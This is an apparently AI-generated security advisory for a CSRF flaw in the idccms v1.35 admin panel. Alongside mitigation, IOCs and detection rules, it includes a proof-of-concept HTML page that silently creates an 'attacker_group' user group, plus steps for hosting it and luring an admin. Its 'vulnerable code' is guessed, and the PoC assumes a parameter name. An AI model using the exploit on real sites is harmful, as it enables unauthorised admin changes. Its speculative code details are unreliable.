CVE-2024-40036

Executive Summary

CVE-2024-40036 is a Cross-Site Request Forgery (CSRF) vulnerability identified in idccms v1.35. The flaw resides in the /admin/userGroup_deal.php?mudi=add&nohrefStr=close endpoint, allowing an attacker to craft a malicious request that, when executed by an authenticated administrator, can add a new user group without the administrator's consent. This can lead to unauthorized privilege escalation or data manipulation within the CMS.

The vulnerability has a CVSS v3.1 base score of 4.3 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N. The attack vector is network-based, requires low complexity, and no privileges, but does require user interaction (the admin must click a link or visit a malicious page). The impact is limited to integrity (low), with no impact on confidentiality or availability.

No official patch is available from the vendor. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the vulnerability is publicly documented and a proof-of-concept exists.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application (idccms). No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to initiate the attack.
• User Interaction (UI): Required (R) – The victim must perform an action (e.g., click a link).
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Limited modification of data (adding a user group).
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The attack requires social engineering to trick an admin, but the impact is limited to adding user groups, which could be a stepping stone for further attacks.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the idccms admin panel. The endpoint /admin/userGroup_deal.php handles user group management. The parameters mudi=add and nohrefStr=close trigger the addition of a new user group. The application does not implement any anti-CSRF tokens (e.g., nonce, SameSite cookies, or referrer checks). Therefore, an attacker can forge a request that, when executed by an authenticated admin, creates a new user group with attacker-controlled privileges.

Attack Flow:

1. Attacker crafts a malicious HTML page or an image tag that sends a GET request to the vulnerable endpoint.
2. Attacker lures an authenticated admin to visit the malicious page (e.g., via phishing email, forum post, or cross-site scripting if present).
3. The admin's browser automatically sends the forged request, including the admin's session cookies.
4. The server processes the request, adding a new user group without the admin's knowledge.
5. The attacker can then use this group to escalate privileges or perform further actions.

Root Cause: Lack of CSRF protection on state-changing operations in the admin panel.

Vulnerable vs. Patched Code

Vulnerable Code (idccms v1.35): The endpoint /admin/userGroup_deal.php likely contains code similar to:

<?php
// No CSRF token check
$mudi = $_GET['mudi'];
if ($mudi == 'add') {
    // Add user group logic
    $groupName = $_GET['groupName'];
    $sql = "INSERT INTO user_groups (name) VALUES ('$groupName')";
    mysqli_query($conn, $sql);
}
?>

Patched Code (Hypothetical): A secure version would include a CSRF token validation:

<?php
session_start();
if ($_GET['mudi'] == 'add') {
    // Validate CSRF token
    if (!isset($_GET['csrf_token']) || $_GET['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    // Add user group logic
    $groupName = $_GET['groupName'];
    $stmt = $conn->prepare("INSERT INTO user_groups (name) VALUES (?)");
    $stmt->bind_param("s", $groupName);
    $stmt->execute();
}
?>

Exploitation & Lab Setup

Red Team (Attacker)

Proof-of-Concept (PoC) HTML Page: Create a file exploit.html with the following content:

<html>
<body>
<h1>Click me!</h1>
<img src="http://target.com/admin/userGroup_deal.php?mudi=add&nohrefStr=close&groupName=attacker_group" style="display:none;">
<script>
// Alternative: auto-submit form
document.forms[0].submit();
</script>
<form action="http://target.com/admin/userGroup_deal.php" method="GET">
<input type="hidden" name="mudi" value="add">
<input type="hidden" name="nohrefStr" value="close">
<input type="hidden" name="groupName" value="attacker_group">
<input type="submit" value="Submit">
</form>
</body>
</html>

Usage:

1. Host the HTML file on an attacker-controlled server (e.g., using Python: python3 -m http.server 8080).
2. Send the link to an authenticated admin (e.g., via email).
3. When the admin visits the page, the request is sent automatically (via the image tag) or manually (via the form).
4. The new user group attacker_group is created.

Note: The exact parameter for the group name may vary. The PoC assumes groupName is the parameter; adjust based on actual application logic.

Blue Team (Defender)

Detection:

• Monitor for unusual GET requests to /admin/userGroup_deal.php with mudi=add from external referrers.
• Look for spikes in user group creation activity.
• Check for requests with missing or invalid Referer headers.

Mitigation:

• Implement CSRF tokens on all state-changing endpoints.
• Use SameSite cookies (set to Lax or Strict).
• Validate the Referer header (though not foolproof).
• Restrict admin panel access to trusted IPs or VPN.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /admin/userGroup_deal.php?mudi=add&nohrefStr=close with suspicious parameters.
  • Requests with Referer header pointing to external domains.
  • Unusual user agent strings (e.g., empty or automated tools).

• File IOCs:

  • New user group entries in the database (e.g., user_groups table).
  • Log entries showing creation of groups with names like attacker_group, admin_backdoor, etc.

• Behavioral IOCs:

  • Admin accounts performing actions without corresponding UI interaction.
  • Multiple user group creation events in a short time frame.

Detection Engineering

YARA Rule

rule CVE_2024_40036_CSRF_idccms {
    meta:
        description = "Detects CSRF exploitation attempts against idccms v1.35"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-40036"
    strings:
        $s1 = "/admin/userGroup_deal.php" ascii wide nocase
        $s2 = "mudi=add" ascii wide nocase
        $s3 = "nohrefStr=close" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-40036 CSRF Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable idccms endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/admin/userGroup_deal.php'
            - 'mudi=add'
            - 'nohrefStr=close'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-40036 idccms CSRF Exploitation Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/admin/userGroup_deal.php";
    http_uri;
    content:"mudi=add";
    http_uri;
    content:"nohrefStr=close";
    http_uri;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2024-40036;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not needed: Block access to /admin/userGroup_deal.php via web server configuration (e.g., .htaccess or Nginx location block).
2. Implement CSRF protection manually:
   • Add a hidden CSRF token field to all forms.
   • Validate the token on the server side.
   • Use SameSite=Strict cookies for session cookies.
3. Restrict admin access to trusted IP addresses or require VPN.

Long-Term Fix:

• Upgrade to a patched version if the vendor releases one.
• If no patch is available, consider migrating to a different CMS with active security support.

Workaround:

• Use a Web Application Firewall (WAF) to block requests to the vulnerable endpoint with suspicious parameters.

Valters IT Signature This report was generated by Valters IT DevSecOps AI Assistant. For questions, contact security@valters-it.com.